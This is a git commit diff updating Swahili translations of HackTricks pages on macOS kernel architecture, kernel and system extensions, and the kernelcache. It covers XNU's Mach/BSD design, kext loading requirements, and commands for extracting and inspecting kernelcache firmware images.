mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
a60e73afe0
commit
f7189cfa8f
5 changed files with 444 additions and 393 deletions
|
@ -1,52 +1,52 @@
|
|||
# Kernel & Mipangilio ya Mfumo wa macOS
|
||||
# macOS Kernel & System Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Kernel ya XNU
|
||||
## XNU Kernel
|
||||
|
||||
**Msingi wa macOS ni XNU**, ambayo inasimama kwa "X is Not Unix". Kernel huu kimsingi unaundwa na **Mach microkernel** (itakayojadiliwa baadaye), **na** vipengele kutoka kwa Berkeley Software Distribution (**BSD**). XNU pia hutoa jukwaa kwa **madereva ya kernel kupitia mfumo unaoitwa I/O Kit**. Kernel ya XNU ni sehemu ya mradi wa chanzo wazi wa Darwin, ambao maana yake ni kwamba **msimbo wake wa chanzo upo wazi kwa umma**.
|
||||
**Msingi wa macOS ni XNU**, ambayo inasimama kwa "X is Not Unix". Kernel hii inaundwa kimsingi na **Mach microkernel** (itaongelewa baadaye), **na** vipengele kutoka Berkeley Software Distribution (**BSD**). XNU pia inatoa jukwaa kwa **madereva wa kernel kupitia mfumo unaoitwa I/O Kit**. Kernel ya XNU ni sehemu ya mradi wa wazi wa Darwin, ambayo inamaanisha **kanuni zake zinapatikana bure**.
|
||||
|
||||
Kutoka mtazamo wa mtafiti wa usalama au mwandishi wa programu wa Unix, **macOS** inaweza kuonekana kama **kama FreeBSD** na GUI yenye mvuto na programu nyingi za desturi. Programu nyingi zilizoendelezwa kwa BSD zitakusanywa na kufanya kazi kwenye macOS bila kuhitaji marekebisho, kwani zana za mstari wa amri zinazojulikana kwa watumiaji wa Unix zote zinapatikana kwenye macOS. Hata hivyo, kwa sababu kernel ya XNU inajumuisha Mach, kuna tofauti kubwa kati ya mfumo wa jadi wa Unix na macOS, na tofauti hizi zinaweza kusababisha matatizo au kutoa faida za kipekee.
|
||||
Kutoka kwa mtazamo wa mtafiti wa usalama au mendelezo wa Unix, **macOS** inaweza kuonekana kuwa **kama** mfumo wa **FreeBSD** wenye GUI ya kuvutia na idadi ya programu maalum. Programu nyingi zilizotengenezwa kwa BSD zitakusanywa na kuendesha kwenye macOS bila kuhitaji marekebisho, kwani zana za amri zinazojulikana kwa watumiaji wa Unix zipo zote kwenye macOS. Hata hivyo, kwa sababu kernel ya XNU inajumuisha Mach, kuna tofauti kubwa kati ya mfumo wa jadi wa Unix na macOS, na tofauti hizi zinaweza kusababisha matatizo ya uwezekano au kutoa faida za kipekee.
|
||||
|
||||
Toleo la chanzo wazi la XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
Toleo la wazi la XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
|
||||
### Mach
|
||||
|
||||
Mach ni **microkernel** iliyoundwa kuwa **inayoweza kufanya kazi kama UNIX**. Moja ya kanuni muhimu za kubuni kwake ilikuwa **kupunguza** kiasi cha **msimbo** unaofanya kazi katika **nafasi ya kernel** na badala yake kuruhusu kazi nyingi za kernel za kawaida, kama mfumo wa faili, mtandao, na I/O, kufanya kazi kama kazi za kiwango cha mtumiaji.
|
||||
Mach ni **microkernel** iliyoundwa kuwa **UNIX-inayofaa**. Moja ya kanuni zake kuu za kubuni ilikuwa **kupunguza** kiasi cha **kanuni** zinazotumika katika **nafasi ya kernel** na badala yake kuruhusu kazi nyingi za kawaida za kernel, kama vile mfumo wa faili, mtandao, na I/O, ku **endesha kama kazi za ngazi ya mtumiaji**.
|
||||
|
||||
Katika XNU, Mach **inasimamia shughuli nyingi muhimu za kiwango cha chini** ambazo kernel kawaida inashughulikia, kama ratiba ya processor, multitasking, na usimamizi wa kumbukumbu ya kielezo.
|
||||
Katika XNU, Mach ni **responsible kwa shughuli nyingi muhimu za kiwango cha chini** ambazo kernel kawaida inashughulikia, kama vile kupanga ratiba ya processor, multitasking, na usimamizi wa kumbukumbu ya virtual.
|
||||
|
||||
### BSD
|
||||
|
||||
Kernel ya XNU pia **inajumuisha** kiasi kikubwa cha msimbo uliotokana na mradi wa **FreeBSD**. Msimbo huu **unafanya kazi kama sehemu ya kernel pamoja na Mach**, katika nafasi ile ile ya anwani. Hata hivyo, msimbo wa FreeBSD ndani ya XNU unaweza kutofautiana sana na msimbo halisi wa FreeBSD kwa sababu marekebisho yalihitajika ili kuhakikisha utangamano wake na Mach. FreeBSD inachangia katika shughuli nyingi za kernel ikiwa ni pamoja na:
|
||||
Kernel ya XNU pia **inaunganisha** kiasi kikubwa cha kanuni zinazotokana na mradi wa **FreeBSD**. Kanuni hii **inasimama kama sehemu ya kernel pamoja na Mach**, katika nafasi moja ya anwani. Hata hivyo, kanuni za FreeBSD ndani ya XNU zinaweza kutofautiana kwa kiasi kikubwa na kanuni za asili za FreeBSD kwa sababu marekebisho yalihitajika kuhakikisha ufanisi wake na Mach. FreeBSD inachangia katika shughuli nyingi za kernel ikiwa ni pamoja na:
|
||||
|
||||
* Usimamizi wa mchakato
|
||||
* Kukabiliana na ishara
|
||||
* Mifumo ya usalama ya msingi, ikiwa ni pamoja na usimamizi wa mtumiaji na kikundi
|
||||
* Miundo ya wito wa mfumo
|
||||
* Mtandao wa TCP/IP na soketi
|
||||
* Firewall na uchujaji wa pakiti
|
||||
* Kushughulikia ishara
|
||||
* Mekanismu za msingi za usalama, ikiwa ni pamoja na usimamizi wa watumiaji na vikundi
|
||||
* Miundombinu ya wito wa mfumo
|
||||
* TCP/IP stack na soketi
|
||||
* Firewall na kuchuja pakiti
|
||||
|
||||
Kuelewa mwingiliano kati ya BSD na Mach kunaweza kuwa ngumu, kutokana na mifumo yao tofauti ya dhana. Kwa mfano, BSD hutumia michakato kama kitengo chake cha msingi cha utekelezaji, wakati Mach inafanya kazi kulingana na nyuzi. Tofauti hii inapatikana katika XNU kwa **kuhusisha kila mchakato wa BSD na kazi ya Mach** ambayo ina nyuzi moja ya Mach. Wakati wito wa mfumo wa BSD's fork() unapotumiwa, msimbo wa BSD ndani ya kernel hutumia kazi za Mach kuunda muundo wa kazi na nyuzi.
|
||||
Kuelewa mwingiliano kati ya BSD na Mach kunaweza kuwa ngumu, kutokana na mifumo yao tofauti ya dhana. Kwa mfano, BSD inatumia michakato kama kitengo chake cha msingi cha utekelezaji, wakati Mach inafanya kazi kwa msingi wa nyuzi. Tofauti hii inarekebishwa katika XNU kwa **kuunganisha kila mchakato wa BSD na kazi ya Mach** ambayo ina nyuzi moja ya Mach. Wakati wito wa mfumo wa fork() wa BSD unapotumika, kanuni za BSD ndani ya kernel zinatumia kazi za Mach kuunda kazi na muundo wa nyuzi.
|
||||
|
||||
Zaidi ya hayo, **Mach na BSD kila moja ina mifano tofauti ya usalama**: **Mfano wa usalama wa Mach** unategemea **haki za bandari**, wakati mfano wa usalama wa BSD unafanya kazi kulingana na **umiliki wa mchakato**. Tofauti kati ya mifano hii mbili mara nyingi imesababisha mapungufu ya kufikia haki za mamlaka za ndani. Mbali na wito wa mfumo wa kawaida, kuna pia **mtego wa Mach unaoruhusu programu za kiwango cha mtumiaji kuingiliana na kernel**. Vipengele hivi tofauti pamoja vinajenga usanifu wa tabaka nyingi, wa kipekee wa kernel ya macOS.
|
||||
Zaidi ya hayo, **Mach na BSD kila mmoja ina mifano tofauti ya usalama**: **mfano wa** usalama wa **Mach** unategemea **haki za bandari**, wakati mfano wa usalama wa BSD unafanya kazi kwa msingi wa **umiliki wa mchakato**. Tofauti kati ya mifano hii miwili mara nyingine imesababisha udhaifu wa kupanda kwa haki za ndani. Mbali na wito wa kawaida wa mfumo, pia kuna **Mach traps zinazoruhusu programu za nafasi ya mtumiaji kuingiliana na kernel**. Vipengele hivi tofauti pamoja vinaunda usanifu wa kipekee, wa mchanganyiko wa kernel ya macOS.
|
||||
|
||||
### I/O Kit - Madereva
|
||||
|
||||
I/O Kit ni mfumo wa **dereva wa kifaa ulio na msimbo wa chanzo wazi**, unaoshughulikia **madereva ya kifaa yanayopakiwa kwa kudhamini**. Inaruhusu msimbo wa moduli kuongezwa kwa kernel mara moja, ikisaidia vifaa mbalimbali.
|
||||
I/O Kit ni mfumo wa wazi, wa mwelekeo wa kitu **wa madereva ya kifaa** katika kernel ya XNU, inashughulikia **madereva ya kifaa yanayopakiwa kwa nguvu**. Inaruhusu kanuni za moduli kuongezwa kwenye kernel mara moja, ikisaidia vifaa mbalimbali.
|
||||
|
||||
{% content-ref url="macos-iokit.md" %}
|
||||
[macos-iokit.md](macos-iokit.md)
|
||||
|
@ -58,94 +58,40 @@ I/O Kit ni mfumo wa **dereva wa kifaa ulio na msimbo wa chanzo wazi**, unaoshugh
|
|||
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kernelcache
|
||||
## macOS Kernel Extensions
|
||||
|
||||
**Kernelcache** ni **toleo lililopangwa mapema la kernel ya XNU**, pamoja na **madereva muhimu ya kifaa** na **mipanuo ya kernel**. Huhifadhiwa katika **muundo uliopunguzwa** na hupata kufunguliwa kumbukumbu wakati wa mchakato wa kuanza. Kernelcache inarahisisha **muda wa kuanza haraka** kwa kuwa na toleo tayari la kukimbia la kernel na madereva muhimu inapatikana, kupunguza muda na rasilimali ambazo zingetumiwa kwa kudhamini na kuunganisha sehemu hizi wakati wa kuanza.
|
||||
macOS ni **ya kukandamiza sana kupakia Kernel Extensions** (.kext) kwa sababu ya haki kubwa ambazo kanuni hiyo itatumika nazo. Kwa kweli, kwa kawaida haiwezekani (isipokuwa njia ya kupita ipatikane).
|
||||
|
||||
Katika iOS inapatikana katika **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** kwenye macOS unaweza kuipata kwa kutumia **`find / -name kernelcache 2>/dev/null`** au **`mdfind kernelcache | grep kernelcache`**
|
||||
|
||||
Inawezekana kukimbia **`kextstat`** kuangalia mipanuo ya kernel iliyopakiwa.
|
||||
|
||||
#### IMG4
|
||||
|
||||
Muundo wa faili wa IMG4 ni muundo wa chombo unaotumiwa na Apple kwenye vifaa vyake vya iOS na macOS kwa **kudhibiti na kuthibitisha kwa usalama vipengele vya firmware** (kama **kernelcache**). Muundo wa IMG4 unajumuisha kichwa na vitambulisho kadhaa ambavyo vinajumuisha vipande tofauti vya data ikiwa ni pamoja na mzigo halisi (kama kernel au bootloader), saini, na seti ya mali ya maelezo. Muundo huu unathibitisha kwa kutumia kriptografia, kuruhusu kifaa kuthibitisha uhalali na usahihi wa kipengele cha firmware kabla ya kukitekeleza.
|
||||
|
||||
Kawaida inajumuisha vipengele vifuatavyo:
|
||||
|
||||
* **Mzigo (IM4P)**:
|
||||
* Mara nyingi imepakwa (LZFSE4, LZSS, …)
|
||||
* Kwa hiari imefichwa
|
||||
* **Maelezo (IM4M)**:
|
||||
* Ina Saini
|
||||
* Kamusi ya ziada ya funguo/thamani
|
||||
* **Maelezo ya Kurejesha (IM4R)**:
|
||||
* Inajulikana pia kama APNonce
|
||||
* Inazuia kurudia baadhi ya sasisho
|
||||
* CHAGUO: Kawaida hii haipatikani
|
||||
|
||||
Fungua Kernelcache:
|
||||
```bash
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
#### Alama za Kernelcache
|
||||
|
||||
Wakati mwingine Apple hutoa **kernelcache** na **alama**. Unaweza kupakua baadhi ya firmwares zenye alama kwa kufuata viungo kwenye [https://theapplewiki.com](https://theapplewiki.com/).
|
||||
|
||||
### IPSW
|
||||
|
||||
Hizi ni **firmwares** za Apple unazoweza kupakua kutoka [**https://ipsw.me/**](https://ipsw.me/). Miongoni mwa faili nyingine, italeta **kernelcache**.\
|
||||
Kuweza **kutoa** faili hizo, unaweza tu **kuzip**.
|
||||
|
||||
Baada ya kutoa faili ya firmware utapata faili kama hii: **`kernelcache.release.iphone14`**. Iko katika muundo wa **IMG4**, unaweza kutoa habari muhimu kwa:
|
||||
|
||||
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
Unaweza kuangalia alama zilizochimbuliwa za kernelcache kwa: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||
|
||||
Kwa hili sasa tunaweza **kuchimbua vitu vyote vya nyongeza** au **kile unachovutiwa nacho:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## Vifurushi vya Kernel vya macOS
|
||||
|
||||
macOS ni **kali sana katika kupakia Vifurushi vya Kernel** (.kext) kutokana na mamlaka kubwa ambazo nambari hiyo itaendeshwa nazo. Kwa kweli, kwa chaguo-msingi ni karibu haiwezekani (isipokuwa kama njia ya kuepuka inapatikana).
|
||||
Katika ukurasa ufuatao unaweza pia kuona jinsi ya kurejesha `.kext` ambayo macOS inapakua ndani ya **kernelcache** yake:
|
||||
|
||||
{% content-ref url="macos-kernel-extensions.md" %}
|
||||
[macos-kernel-extensions.md](macos-kernel-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Vifurushi vya Mfumo wa macOS
|
||||
### macOS System Extensions
|
||||
|
||||
Badala ya kutumia Vifurushi vya Kernel, macOS iliunda Vifurushi vya Mfumo, ambavyo hutoa APIs kwenye kiwango cha mtumiaji kuingiliana na kernel. Kwa njia hii, wabunifu wanaweza kuepuka kutumia vifurushi vya kernel.
|
||||
Badala ya kutumia Kernel Extensions, macOS iliumba System Extensions, ambayo inatoa APIs za ngazi ya mtumiaji kuingiliana na kernel. Kwa njia hii, waendelezaji wanaweza kuepuka kutumia kernel extensions.
|
||||
|
||||
{% content-ref url="macos-system-extensions.md" %}
|
||||
[macos-system-extensions.md](macos-system-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Marejeo
|
||||
## Marejeleo
|
||||
|
||||
* [**Kitabu cha Mwongozo wa Mhakiki wa Mac**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# macOS Kernel Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -23,19 +23,19 @@ Kernel extensions (Kexts) ni **paket** zenye **`.kext`** upanuzi ambazo **zinapa
|
|||
|
||||
Kwa wazi, hii ni nguvu sana kwamba ni **ngumu kupakia upanuzi wa kernel**. Hizi ndizo **mahitaji** ambayo upanuzi wa kernel lazima ukidhi ili upakie:
|
||||
|
||||
* Wakati wa **kuingia kwenye hali ya urejeleaji**, **upanuzi wa kernel lazima ruhusiwe** kupakiwa:
|
||||
* Wakati wa **kuingia kwenye hali ya urejelezi**, **upanuzi wa kernel lazima ruhusiwe** kupakiwa:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Upanuzi wa kernel lazima uwe **umetiwa saini na cheti cha saini ya msimbo wa kernel**, ambacho kinaweza tu **kupewa na Apple**. Nani atakayeangalia kwa undani kampuni na sababu zinazohitajika.
|
||||
* Upanuzi wa kernel lazima pia uwe **umethibitishwa**, Apple itakuwa na uwezo wa kuangalia kwa malware.
|
||||
* Upanuzi wa kernel lazima pia uwe **umekaguliwa**, Apple itakuwa na uwezo wa kuangalia kwa malware.
|
||||
* Kisha, mtumiaji wa **root** ndiye anayeweza **kupakia upanuzi wa kernel** na faili ndani ya pakiti lazima **zihusiane na root**.
|
||||
* Wakati wa mchakato wa kupakia, pakiti lazima iwe tayari katika **mahali salama yasiyo ya root**: `/Library/StagedExtensions` (inahitaji ruhusa ya `com.apple.rootless.storage.KernelExtensionManagement`).
|
||||
* Hatimaye, wakati wa kujaribu kuipakia, mtumiaji atapokea [**ombile la uthibitisho**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) na, ikiwa itakubaliwa, kompyuta lazima **irejeshwe** ili kuipakia.
|
||||
|
||||
### Loading process
|
||||
|
||||
Katika Catalina ilikuwa hivi: Ni muhimu kutaja kwamba mchakato wa **uthibitishaji** unafanyika katika **userland**. Hata hivyo, ni programu pekee zenye ruhusa ya **`com.apple.private.security.kext-management`** zinaweza **kuomba kernel kupakia upanuzi**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
Katika Catalina ilikuwa hivi: Ni muhimu kutambua kwamba mchakato wa **uthibitishaji** unafanyika katika **userland**. Hata hivyo, ni programu pekee zenye ruhusa ya **`com.apple.private.security.kext-management`** zinaweza **kuomba kernel kupakia upanuzi**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **inaanza** mchakato wa **uthibitishaji** wa kupakia upanuzi
|
||||
* Itazungumza na **`kextd`** kwa kutuma kwa kutumia **Huduma ya Mach**.
|
||||
|
@ -47,22 +47,119 @@ Katika Catalina ilikuwa hivi: Ni muhimu kutaja kwamba mchakato wa **uthibitishaj
|
|||
|
||||
Ikiwa **`kextd`** haipatikani, **`kextutil`** inaweza kufanya ukaguzi sawa.
|
||||
|
||||
### Enumeration (loaded kexts)
|
||||
```bash
|
||||
# Get loaded kernel extensions
|
||||
kextstat
|
||||
|
||||
# Get dependencies of the kext number 22
|
||||
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
||||
```
|
||||
## Kernelcache
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ingawa nyongeza za kernel zinatarajiwa kuwa katika `/System/Library/Extensions/`, ukitembelea folda hii **hutapata binary yoyote**. Hii ni kwa sababu ya **kernelcache** na ili kubadilisha moja ya `.kext` unahitaji kupata njia ya kuipata.
|
||||
{% endhint %}
|
||||
|
||||
**Kernelcache** ni **toleo lililotayarishwa na kuunganishwa la kernel ya XNU**, pamoja na madereva muhimu na **nyongeza za kernel**. Inahifadhiwa katika muundo wa **kimecompressed** na inachukuliwa kwenye kumbukumbu wakati wa mchakato wa kuanzisha. Kernelcache inarahisisha **wakati wa kuanzisha haraka** kwa kuwa na toleo lililo tayari la kernel na madereva muhimu yanayopatikana, kupunguza muda na rasilimali ambazo zingetumika kwa kupakia na kuunganisha vipengele hivi kwa wakati wa kuanzisha.
|
||||
|
||||
### Local Kerlnelcache
|
||||
|
||||
Katika iOS inapatikana katika **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** katika macOS unaweza kuipata kwa: **`find / -name "kernelcache" 2>/dev/null`** \
|
||||
Katika kesi yangu katika macOS niliipata katika:
|
||||
|
||||
* `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
|
||||
|
||||
#### IMG4
|
||||
|
||||
Muundo wa faili ya IMG4 ni muundo wa kontena unaotumiwa na Apple katika vifaa vyake vya iOS na macOS kwa ajili ya **kuhifadhi na kuthibitisha** vipengele vya firmware kwa usalama (kama **kernelcache**). Muundo wa IMG4 unajumuisha kichwa na lebo kadhaa ambazo zinafunga vipande tofauti vya data ikiwa ni pamoja na mzigo halisi (kama kernel au bootloader), saini, na seti ya mali za manifest. Muundo huu unasaidia uthibitisho wa kificho, ukiruhusu kifaa kuthibitisha ukweli na uadilifu wa kipengele cha firmware kabla ya kukitekeleza.
|
||||
|
||||
Kwa kawaida unajumuisha vipengele vifuatavyo:
|
||||
|
||||
* **Payload (IM4P)**:
|
||||
* Mara nyingi imekandamizwa (LZFSE4, LZSS, …)
|
||||
* Inaweza kuwa na usimbaji
|
||||
* **Manifest (IM4M)**:
|
||||
* Inajumuisha Saini
|
||||
* Kamusi ya Kifunguo/Thamani ya ziada
|
||||
* **Restore Info (IM4R)**:
|
||||
* Pia inajulikana kama APNonce
|
||||
* Inazuia kurudiwa kwa baadhi ya masasisho
|
||||
* HIARI: Kwa kawaida hii haipatikani
|
||||
|
||||
Fungua Kernelcache:
|
||||
```bash
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### Download 
|
||||
|
||||
* [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
|
||||
|
||||
Katika [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) inawezekana kupata vifaa vyote vya ufuatiliaji wa kernel. Unaweza kuvipakua, kuvifungua, kuvifungua kwa kutumia zana ya [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), kufikia folda ya **`.kext`** na **kuvitoa**.
|
||||
|
||||
Angalia kwa alama na:
|
||||
```bash
|
||||
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
|
||||
```
|
||||
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
|
||||
|
||||
Wakati mwingine Apple inatoa **kernelcache** yenye **symbols**. Unaweza kupakua firmware kadhaa zenye symbols kwa kufuata viungo kwenye kurasa hizo. Firmware zitakuwa na **kernelcache** pamoja na faili nyingine.
|
||||
|
||||
Ili **extract** faili, anza kwa kubadilisha kiambishi kutoka `.ipsw` kuwa `.zip` na **unzip** hiyo.
|
||||
|
||||
Baada ya kutoa firmware utapata faili kama: **`kernelcache.release.iphone14`**. Iko katika muundo wa **IMG4**, unaweza kutoa taarifa muhimu kwa kutumia:
|
||||
|
||||
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### Kukagua kernelcache
|
||||
|
||||
Angalia ikiwa kernelcache ina alama za
|
||||
```bash
|
||||
nm -a kernelcache.release.iphone14.e | wc -l
|
||||
```
|
||||
Na hii sasa tunaweza **kutoa nyongeza zote** au **ile unayovutiwa nayo:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## Referencias
|
||||
|
||||
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
||||
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
